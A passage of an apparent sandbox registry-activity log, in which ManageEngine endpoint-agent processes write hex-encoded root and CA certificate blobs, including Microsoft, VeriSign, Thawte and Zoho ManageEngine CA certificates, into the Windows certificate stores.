0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 meaap.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\BE36A4562FB2EE05DBB3D32323ADF445084ED656\Blob = 5900000001000000100000005200530041002f004d004400350000000f0000000100000010000000e8a598be84828efeae701115013576b20400000001000000100000007f667a71d3eb6978209a51149d83da20030000000100000014000000be36a4562fb2ee05dbb3d32323adf445084ed65609000000010000000c000000300a06082b060105050703080b000000010000002e0000005400680061007700740065002000540069006d0065007300740061006d00700069006e0067002000430041000000190000000100000010000000181c2be05851f96993e196f279954b23140000000100000014000000ddbcbd869c3f07ed40e31b08efcec4d188cd3b155c0000000100000004000000000400002000000001000000a5020000308202a13082020aa003020102020100300d06092a864886f70d010104050030818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e67204341301e170d3937303130313030303030305a170d3230313233313233353935395a30818b310b3009060355040613025a41311530130603550408130c5765737465726e2043617065311430120603550407130b44757262616e76696c6c65310f300d060355040a1306546861777465311d301b060355040b13145468617774652043657274696669636174696f6e311f301d060355040313165468617774652054696d657374616d70696e6720434130819f300d06092a864886f70d010101050003818d0030818902818100d62b587861458653ea347b519cedb0e62e180efee05fa827d3b4c9e07c594e160e735460c17ff69f2ee93a8524153cdb470463c39ec4941a5adf4c7af3d9431d3c107a7925db90fef051e730d64100fd9f28df79be94bb9db614e32385d7a941e04ca479b02b1a8bf2f83b8a3e45ac719200b4904198fb5fedfab72e8af888370203010001a3133011300f0603551d130101ff040530030101ff300d06092a864886f70d01010405000381810067dbe2c2e6873d40838637357d1fce9ac30c6620a8baaa048986c2f510080dbfcba2058ad04d363ef4d7ef69c65ee4b0946f4ab9e7de5b88b67bdbe327e576c3f035c1cbb5279b3379dc90a6009e77fafccd279442169cd31c68ecbf5cdde5a97b100a32745413318b85038491b75801301438af28cafcb150191909ac8949d3 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\D559A586669B08F46A30A133F8A9ED3D038E2EA8\Blob = 5900000001000000120000005200530041002f0053004800410031000000030000000100000014000000d559a586669b08f46a30a133f8a9ed3d038e2ea818000000010000001000000091161b894b117ecdc257628db460cc041900000001000000100000006ed6ed7df52fc19bdc9e5fe9e2be21fb1400000001000000140000000acfeb4b07e703a01f4cef28ee7256f7517591550f00000001000000140000004973e092cf8a9e2ca5f988493a5bacfe3895942e040000000100000010000000acd80ea27bb72ce700dc22724a5f1e9220000000010000008703000030820383308202eca003020102021046fcebbab4d02f0f926098233f93078f300d06092a864886f70d0101050500305f310b300906035504061302555331173015060355040a130e566572695369676e2c20496e632e31373035060355040b132e436c6173732033205075626c6963205072696d6172792043657274696669636174696f6e20417574686f72697479301e170d3937303431373030303030305a170d3136313032343233353935395a3081ba311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e31333031060355040b132a566572695369676e20496e7465726e6174696f6e616c20536572766572204341202d20436c617373203331493047060355040b13407777772e766572697369676e2e636f6d2f43505320496e636f72702e6279205265662e204c494142494c495459204c54442e286329393720566572695369676e30819f300d06092a864886f70d010101050003818d0030818902818100d88280e8d619027d1f85183925a2652be1bfd405d3bce6363baaf04c6c5bb6e7aa3c734555b2f1bdea9742ed9a340a15d4a95cf54025ddd907c132b2756cc4cabba3fe56277143aa63f5303e9328e5faf1093bf3b74d4e39f75c495ab8c11dd3b28afe70309542cbfe2b518b5a3c3af9224f90b202a7539c4f34e7ab04b27b6f0203010001a381e33081e0300f0603551d13040830060101ff02010030440603551d20043d303b3039060b6086480186f84501070101302a302806082b06010505070201161c68747470733a2f2f7777772e766572697369676e2e636f6d2f43505330340603551d25042d302b06082b0601050507030106082b0601050507030206096086480186f8420401060a6086480186f845010801300b0603551d0f040403020106301106096086480186f842010104040302010630310603551d1f042a30283026a024a0228620687474703a2f2f63726c2e766572697369676e2e636f6d2f706361332e63726c300d06092a864886f70d010105050003818100408e4997968a73dd8e4def3e61b7caa062adf40e0abb753de26ed82cc7bff4b98c369bcaa2d09c724639f6a682036511c4bcbf2da6f5d93b0ab598fab378b91ef22b4c62d5fdb27a1ddf33fd73f9a5d82d8c2aead1fcb028b6e94948134b838a1b487b24f738de6f4154b8ab576b06dfc7a2d4a9f6f136628088f28b75d68071 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000001400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c60f00000001000000200000008744aef40e3c0b9906780d463c9275f3a03c313ed0c0bfa06d277b90d7e54f4c1900000001000000100000009483285b20fccdb265fe95c3f298f3932000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\8F43288AD272F3103B6FB1428485EA3014C0BCFE\Blob = 5900000001000000160000005200530041002f005300480041003200350036000000040000000100000010000000ce0490d5e56c34a5ae0be98be581185d140000000100000014000000722d3a02319043b914054ee1eaa7c731d12389340300000001000000140000008f43288ad272f3103b6fb1428485ea3014c0bcfe69000000010000000e000000300c060a2b0601040182373c03020b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f0072006900740079002000320030003100310000000f0000000100000020000000279cd652c4e252bfbe5217ac722205d7729ba409148cfa9e6d9e5b1cb94eaff1190000000100000010000000bb048f1838395f6fc3a1f3d2b7e976545c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a00302010202103f8bc8b5fc9fb29643b569d66c42e144300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303131301e170d3131303332323232303532385a170d3336303332323232313330345a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313130820222300d06092a864886f70d01010105000382020f003082020a0282020100b28041aa35384d13723268224db8b2f1ffd552bc6cc7f5d24a8c36eed1c25c7e8c8aaeaf13286fc073e33aced025a85a3a6defa8b859ab132368cd0c2987d16f805c8f447f5d90015258ac51c55f2a87dcdcd80a1dc103b97bb056e8a3de6461c29ef8f37cb9ec0db554fe4cb6654f88f09c48990c420b097c315917790678288d893a4c0325be716a5c0be78460a49922e3d2af84a4a7fbd198ed0ca9de9489e10ea0dcc0ce993dea0852bb5679e41f84ba1eb8b4c4495c4f314b87dddd0567269980e07111a3b8a541e2a453b9f73229830c13bf365e04b34b43472f6be2911ed3984fdd4207c8e81d12fc99a96b3e927ec8d6693afc64bdb6099dcafd0c0ba29b77604b0394a4306912d6422dc1414ccadcaafd8f5b83469ad9fcb1d1e3b3c97f487acd24f0418f5c74d0acb010200649b7c72d21c857e3d086f30368fbd0ce71c189994a64016cfdec3091cf413c92c7e5ba861d6184c75f833962aeb4922f47f30bf855eba01f59d0bb749b1ed076e6f2e906d710e8fa64de69c635968802f046b83f27996fcb71892935f7481602358fd5797c4d02cf5feb8a834f457188f9a90d4e72e9c29c07cf491b4e040e63518c5ed800c1552cb6c6e0c2654ec93439f59cb3c47ee8616e135f15c45fd97eed1dceee44eccb2e86b1ec38f670edab5c13c1d90f0dc780b255ed34f7ac9be4c3dae7473ca6b58f31dfc54bafebf10203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414722d3a02319043b914054ee1eaa7c731d1238934301006092b06010401823715010403020100300d06092a864886f70d01010b050003820201007f72cf0fb7c515db9bc049ca265bfe9e13e6d3f0d2db975ff24b3f4db3ae19aeedd797a0acefa93aa3c241b0e5b8919e13812403e609fd3f574039212456d1102f4b40a936864bb453579afbf17e898f11fe186c51aae8ed0995b5e571c9a1e98775a6157fc97e37545e7493c5c367cc0d4f6ba8170c6d08927e8bdd81aa2d7021c33d0614bbbf245ea784d73f0f2122bd4b0006db971cd85ed4c50b5c876e50a4e8c338a4fbcb2cc592669b855ecb7a6c937c8029585b57b54069ba0879a66462159d879645b5662320038b1c73a0d3a27933e0505986db2fe50225ea732a9f0014c836c7923be94e00ecd85609b9334912d2540b01abac47b691297d4cb475805201e8ca82f69fccac9c8f17ea2f26b0ab72ac0bfe9e511ec74355674f51b357d6b6ecee52b73ae94ee1d78188bc4f8e75bb4ba8f035aa26d4676749b2704c3b93dc1ddf78908672b238a4d1dc924dc958eb2b125cd43bae8c6bb083e5013ff80932f693353422afdd370d7709802bcd4800f18c9919470501e9d1bfd14ed0e628433799a40a4a08d99a7173d2aacd31136376a1376f92381e7d123c6632e7cb6de1fc5289ddcad666059a9661bea228c71ca3a736503c3aa4df4a6ee6873bceebf0e081379d133c528ebdb91d34c61dd50a6a3d9829708c892ad1ab8210481fdcf4efa5c5bb551a3863844eb76cad9554ec6522104917b8c01ec70fac5447 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\7F88CD7223F3C813818C994614A89C99FA3B5247\Blob = 5900000001000000100000005200530041002f004d0044003500000014000000010000001400000001f0334c1aa1d9ee5b7ba9de43bc027d570933fb0b00000001000000400000004d006900630072006f0073006f00660074002000410075007400680065006e007400690063006f0064006500280074006d002900200052006f006f0074000000090000000100000016000000301406082b0601050507030406082b060105050703030300000001000000140000007f88cd7223f3c813818c994614a89c99fa3b52470f0000000100000010000000d67576f5521d1ccab52e9215e0f9f74319000000010000001000000007d34ded498d4577f261bd38b6b8736e2000000001000000da030000308203d6308202bea003020102020101300d06092a864886f70d01010405003050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479301e170d3935303130313038303030315a170d3939313233313233353935395a3050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930820122300d06092a864886f70d01010105000382010f003082010a0282010100df08bae33f6e649bf589af28964a078f1b2e8b3e1dfcb88069a3a1cedbdfb08e6c8976294fca603539ad7232e00bae293d4c16d94b3c9ddac5d3d109c92c6fa6c2605345dd4bd155cd031cd2595624f3e578d807ccd8b31f903fc01a71501d2da712086d7cb0866cc7ba853207e1616faf03c56de5d6a18f36f6c10bd13e69974872c97fa4c8c24a4c7ea1d194a6d7dceb05462eb818b4571d8649db694a2c21f55e0f542d5a43a97a7e6a8e504d2557a1bf1b1505437b2c058dbd3d038c93227d63ea0a5705060adb6198652d4749a8e7e656755cb8640863a9304066b2f9b6e334e86730e1430b87ffc9be72105e23f09ba74865bf09887bcd72bc2e799b7b0203010001a381ba3081b7300d0603551d0a040630040302078030320603550403042b13294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f7269747930720603551d01046b306980101a1be75b9ffd8c2ac339ae0c622e5332a1523050310b3009060355040613025553310d300b060355040a13044d53465431323030060355040313294d6963726f736f66742041757468656e7469636f646528746d2920526f6f7420417574686f72697479820101300d06092a864886f70d010104050003820101002dc9e2f6129e5d5667fafa4b9a7edc29565c80140228856e26f3cd58da5080c5f819b3a67ce29d6b5f3b8f2274e61804fc4740d87a3f3066f012a4d1eb1de7b6f498ab5322865158ee230976e41d455c4bff4ce302500113cc41a45297d486d5c4fe8383657deabea2683bc1b12998bfa2a5fc9dd384ee701750f30bfa3cefa9278b91b448c845a0e101424b4476041cc219a28e6b2098c4dd02acb4d2a20e8d5db9368e4a1b5d6c1ae2cb007f10f4b295efe3e8ffa17358a9752ca2499585feccda448ac21244d244c8a5a21fa95a8e56c2c37bcf4260dc821ffbce74067ed6f1ac196a4f745cc51566316cc16271910f595b7d2a821adfb1b4d81d37de0d0f dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\18F7C1FCC3090203FD5BAA2F861A754976C8DD25\Blob = 5900000001000000100000005200530041002f004d004400350000001400000001000000140000003edf290cc1f5cc732ceb3d24e17e52dabd27e2f00b000000010000003400000056006500720069005300690067006e002000540069006d00650020005300740061006d00700069006e006700200043004100000009000000010000000c000000300a06082b0601050507030803000000010000001400000018f7c1fcc3090203fd5baa2f861a754976c8dd250f000000010000001000000065fc47520f66383962ec0b7b88a0821d190000000100000010000000e53d34cecb05c17ee332c749d78c02562000000001000000c0020000308202bc3082022502104a19d2388c82591ca55d735f155ddca3300d06092a864886f70d010104050030819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e301e170d3937303531323030303030305a170d3034303130373233353935395a30819e311f301d060355040a1316566572695369676e205472757374204e6574776f726b31173015060355040b130e566572695369676e2c20496e632e312c302a060355040b1323566572695369676e2054696d65205374616d70696e67205365727669636520526f6f7431343032060355040b132b4e4f204c494142494c4954592041434345505445442c20286329393720566572695369676e2c20496e632e30819f300d06092a864886f70d010101050003818d0030818902818100d32e20f0687c2c2d2e811cb106b2a70bb7110d57da53d875e3c9332ab2d4f6095b34f3e990fe090cd0db1b5ab9cde7f688b19dc08725eb7d5810736a78cb7115fdc658f629ab585e9604fd2d621158811cca7194d522582fd5cc14058436ba94aab44d4ae9ee3b22ad56997e219c6c86c04a47976ab4a636d5fc092dd3b4399b0203010001300d06092a864886f70d01010405000381810061550e3e7bc792127e11108e22ccd4b3132b5be844e40b789ea47ef3a707721ee259efcc84e389944cdb4e61efb3a4fb463d50340b9f7056f68e2a7f17cee563bf796907732eb095288af5edaaa9d25dcd0aca10098fceb3af2896c479298492dcffba674248a69010e4bf61f89c53e593d1733ff8fd9d4f84ac55d1fd116363 dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\CA\Certificates\FEE449EE0E3965A5246F000E87FDE2A065FD89D4\Blob = 5900000001000000100000005200530041002f004d004400350000001400000001000000140000009aa6587f94dd91d91e63dfd3f0ce5fae1893aab7030000000100000014000000fee449ee0e3965a5246f000e87fde2a065fd89d4190000000100000010000000edbccdd5106a071c5d8b4690918e48aa2000000001000000ce010000308201ca30820174a003020102021006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405003016311430120603550403130b526f6f74204167656e6379301e170d3936303532383232303235395a170d3339313233313233353935395a3016311430120603550403130b526f6f74204167656e6379305b300d06092a864886f70d0101010500034a0030470240815522b98aa46fedd6e7d9660f55bcd7cdd5bc4e400221a2b1f78730855ed2f244b9dc9b75b6fb465f42b69d23360bde540fcdbd1f992a105811cb40cbb5a7410203010001a3819e30819b3050060355040304491347466f722054657374696e6720507572706f736573204f6e6c792053616d706c6520536f667477617265205075626c697368696e672043726564656e7469616c73204167656e637930470603551d010440303e801012e4092d061d1d4f008d6121dc166463a1183016311430120603550403130b526f6f74204167656e6379821006376c00aa00648a11cfb8d4aa5c35f4300d06092a864886f70d01010405000341002d2e3e7b8942893fa82117faf0f5c395db62695bc9dcc1b3faf0c46f6f649abde71b2568728367bd56b08d01bd2af7cc4bbd87a5ba87204c421141ad10173b8c dcinventory.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\6DC1A86027CA039B6524A6954670802027CE3C2F\Blob = 040000000100000010000000db40a511c228438a4ea22d289a27bc670f000000010000002000000076eefa439685c80502a329de81a8818474b5314e100e7474b606530bcb2ff9b50300000001000000140000006dc1a86027ca039b6524a6954670802027ce3c2f1400000001000000140000002ca256b6a975e6012e7316f2d4beb8bcabddccad1900000001000000100000008173bf5e0e9c54ebcbad0ab8727630dc2000000001000000d8030000308203d4308202bca0030201020208015cadef54eebded300d06092a864886f70d01010b05003065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e6543413022180f32303236303932313136333835355a180f32303531303932313136333835355a3065310b3009060355040613025553310b300906035504080c02434131153013060355040b0c0c4d616e616765456e67696e6531193017060355040a0c105a6f686f20436f72706f726174696f6e3117301506035504030c0e4d616e616765456e67696e65434130820122300d06092a864886f70d01010105000382010f003082010a0282010100c8d4ba5a8ceb22aaecd7de5f792621413524b9dba52fb4c226cadffa1e2ead77c649f46a9a37670fe01c7ee713080da0ace23a87fc47be1d1ad2e8a578454f8dbe823b70cbdcfb55af5f1867b44f09b6a620e9718973d615e37c77def9ea02108f4ae8ed261bcdc883759c4c5a03a61eb30dfdd68c1bb937682669d1f8d1037d086fe67470eb6ee5cfe281fb8259538300a468cb15abc536413f1451a39a0bd0673c520b56dd55043d5abfdef275266f3fb777808239baf515c30c0deac14754f7bdc42434ff6282ffe6f969878414a56fd31673fe193741f09c4c2bc127962cf9c7a6ea8af814328339cf92973e8a8bb6af4c604b5471fb6f28870790a09c770203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604142ca256b6a975e6012e7316f2d4beb8bcabddccad301f0603551d230418301680142ca256b6a975e6012e7316f2d4beb8bcabddccad300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010046e8472450737c0b9711d9f82f514970716803dc4dc9fff61c2341cef040754832fef9c0406ff53d8799ff49c9e77dd864166e278fd81429bb3ba28053c5bd8616781c8645ff8b043d69f069473fa3a99d1c8e33bc9a104e9a93db02d1d44b732f05dc7c0c8940c19f91bc753db89bc84b802ac1de89ce56b7514e29e410b08342887d8b0f5f35791f08966fae15377a58de1575a0767d015e765761d444d30849c409ab06f8194baf6489a639eb6f85e991e322741390a0f46574b94b8566d0afa7e8b0929a11270cb17feee0d0bc9b477304d7aeb88e26df9f8d55b5407141f697e2b3de8ad62d76d901f312dfa3ff18f4f33e5387307f9314974aa56cc403 dcpatchscan.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\3B1EFD3A66EA28B16697394703A72CA340A05BD5\Blob = 5900000001000000160000005200530041002f0053004800410032003500360000001900000001000000100000003c70faea25600ce3b2cc5f0b222ed629140000000100000014000000d5f656cb8fe8a25c6268d13d94905bd7ce9a18c40300000001000000140000003b1efd3a66ea28b16697394703a72ca340a05bd50b00000001000000540000004d006900630072006f0073006f0066007400200052006f006f007400200043006500720074006900660069006300610074006500200041007500740068006f00720069007400790020003200300031003000000069000000010000000e000000300c060a2b0601040182373c03020f000000010000002000000008fba831c08544208f5208686b991ca1b2cfc510e7301784ddf1eb5bf0393239040000000100000010000000a266bb7dcc38a562631361bbf61dd11b5c0000000100000004000000001000002000000001000000f1050000308205ed308203d5a003020102021028cc3a25bfba44ac449a9b586b4339aa300d06092a864886f70d01010b0500308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f726974792032303130301e170d3130303632333231353732345a170d3335303632333232303430315a308188310b3009060355040613025553311330110603550408130a57617368696e67746f6e3110300e060355040713075265646d6f6e64311e301c060355040a13154d6963726f736f667420436f72706f726174696f6e31323030060355040313294d6963726f736f667420526f6f7420436572746966696361746520417574686f72697479203230313030820222300d06092a864886f70d01010105000382020f003082020a0282020100b9089e28e4e4ec064e5068b341c57bebaeb68eaf81ba22441f6534694cbe704017f2167be279fd86ed0d39f41ba8ad92901ecb3d768f5ad9b591102e3c058d8a6d2454e71fed56ad83b4509c15a51774885920fc08c58476d368d46f2878ce5cb8f3509044ffe3635fbea19a2c961504d607fe1e8421e0423111c4283694cf50a4629ec9d6ab7100b25b0ce696d40a2496f5ffc6d5b71bd7cbb72162af12dca15d37e31afb1a4698c09bc0e7631f2a0893027e1e6a8ef29f1889e42285a2b1845740fff50ed86f9cede2453101cd17e97fb08145e3aa214026a172aaa74f3c01057eee8358b15e06639962917882b70d930c246ab41bdb27ec5f95043f934a30f59718b3a7f919a793331d01c8db22525cd725c946f9a2fb875943be9b62b18d2d86441a46ac78617e3009faae89c4412a2266039139459cc78b0ca8ca0d2ffb52ea0cf76333239dfeb01fad67d6a75003c6047063b52cb1865a43b7fbaef96e296e21214126068cc9c3eeb0c28593a1b985d9e6326c4b4c3fd65da3e5b59d77c39cc055b77400e3b838ab839750e19a42241dc6c0a330d11a5ac85234f773f1c7181f33ad7aeccb4160f3239420c24845ac5c51c62e80c2e27715bd8587ed369d9691ee00b5a370ec9fe38d80688376baaf5d70522216e266fbbab3c5c2f73e2f77a6cadec1a6c6484cc3375123d327d7b84e7096f0a14476af78cf9ae166130203010001a351304f300b0603551d0f040403020186300f0603551d130101ff040530030101ff301d0603551d0e04160414d5f656cb8fe8a25c6268d13d94905bd7ce9a18c4301006092b06010401823715010403020100300d06092a864886f70d01010b05000382020100aca5968cbfbbaea6f6d7718743315688fd1c32715b35b7d4f091f2af37e214f1f30226053e16147f14bab84ffb89b2b2e7d409cc6db95b3b64657066b7f2b15adf1a02f3f551b8676d79f3bf567be484b92b1e9b409c2634f947189869d81cd7b6d1bf8f61c267c4b5ef60438e101b3649e420caada7c1b1276509f8cdf55b2ad08433f3ef1ff2f59c0b589337a075a0de72de6c752a6622f58c0630569f40b930aa40771582d78becc0d3b2bd83c5770c1eaeaf1953a04d79719f0faf30ce67f9d62ccc22417a07f2974218ce59791055de6f10e4b8da836640160968235b972e269a02bb578cc5b8ba69623280899ea1fdc0927c7b2b3319842a63c5006862fa9f478d997a453aa7e9edee6942b5f3819b4756107bfc7036841873eaeff9974d9e3323dd260bba2ab73f44dc8327ffbd61592b11b7ca4fdbc58b0c1c31ae32f8f8b942f77fdc619a76b15a04e1113d6645b71871bec92485d6f3d4ba41345d122d25b98da613486d4bb0077d99930961817457268aab69e3e4d9c788cc24d8ec52245c1ebc9114e296deeb0ada9edd5fb35bdbd482ecc620508725403afbc7eecdfe33e56ec3840955032539c0e9355d6531a8f6bfa009cd29c7b336322edc95f383c15acf8b8df6eab321f8a4ed1e310eb64c11ab600ba412232217a3366482910412e0ab6f1ecb500561b440ff598671d1d533697ca9738a38d7640cf169 dcinventory.exe Key deleted \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 03000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0203010001a3818330818030120603551d130101ff040830060101ff020100301d0603551d0e041604143d874f7efdd7efadad247fc5f223b72cb0b5b3c3301f0603551d230418301680143d874f7efdd7efadad247fc5f223b72cb0b5b3c3300b0603551d0f0404030201a6301d0603551d250416301406082b0601050507030106082b06010505070302300d06092a864886f70d01010b0500038201010059d95700a347d204797370bbb1f41022bc601970a91c9cbe5e63801e638496e267c2071839ca8a41f53332cd0d3ff505f63cc994d2f607ef2184db42da011b1ed82a00de076806c3446bee5b0722878e38e594dcafac4773256b72b44413bbd4b86ff8e54dd34bd439d2fab39dd472615be4a710e6392ef3ada85308a26f9d0582ea166ab22c06a8e3c960c1697662794ac024dd056410e6216eadc693791523af5d634013a138cd9f3d1c221dcaeac0fea77a4e1057c967f886ae9548cc4edb090deb5b30d786b22c5020b4b3890f49d6f81fd4fdf5b2da233dd0049d902d0c9f85a8a23708304740ceee32221a10713d00145a02bfa1fff6c5ad0aa0606bd9 dcconfig.exe Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT\Certificates\95CAEFF101098620F3C5810F1352E83CB4D4F8C6\Blob = 1400000001000000140000003d874f7efdd7efadad247fc5f223b72cb0b5b3c303000000010000001400000095caeff101098620f3c5810f1352e83cb4d4f8c62000000001000000f0030000308203ec308202d4a003020102020856526a80cf1fae57300d06092a864886f70d01010b05003071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d43413022180f32303236303932313136333835365a180f32303531303932313136333835365a3071310b3009060355040613025553310b300906035504080c024341311b3019060355040b0c124d616e616765456e67696e652d44532d434131193017060355040a0c105a6f686f20436f72706f726174696f6e311d301b06035504030c144d616e616765456e67696e6543412d44532d434130820122300d06092a864886f70d01010105000382010f003082010a0282010100d3d0ffe1c17d8b66e7d27d456d5ceed802b5ec65b405ac1a1e03d72d0ddbd31e2d02d138be37f284abf338343facf1542494dcd4e07834e4c940b1ed4fd37178941db1ee4397335bb46d689a8fbcb8c326b1105043979b929d1b425c14bceebd6e3504e79ce603678d0699dbe5bf6f77fdd74bf7f5dd8c039a5752c280bb156ec09b4b4ca809aaafe87a07e75ead6228cda413672f1273db9b6cba71407360c40bd01334e59e97c5b8a52b617e7dd7b2d622519dd4dc041237352638b03309e2f4951531b51c92c12c2d4c9027d0dfd5e217902c8089ecafda8220c02255bd88d420d1120c7fcdbecc36e0344676e13e6f97f6af68d43357811a638fdb0717fb0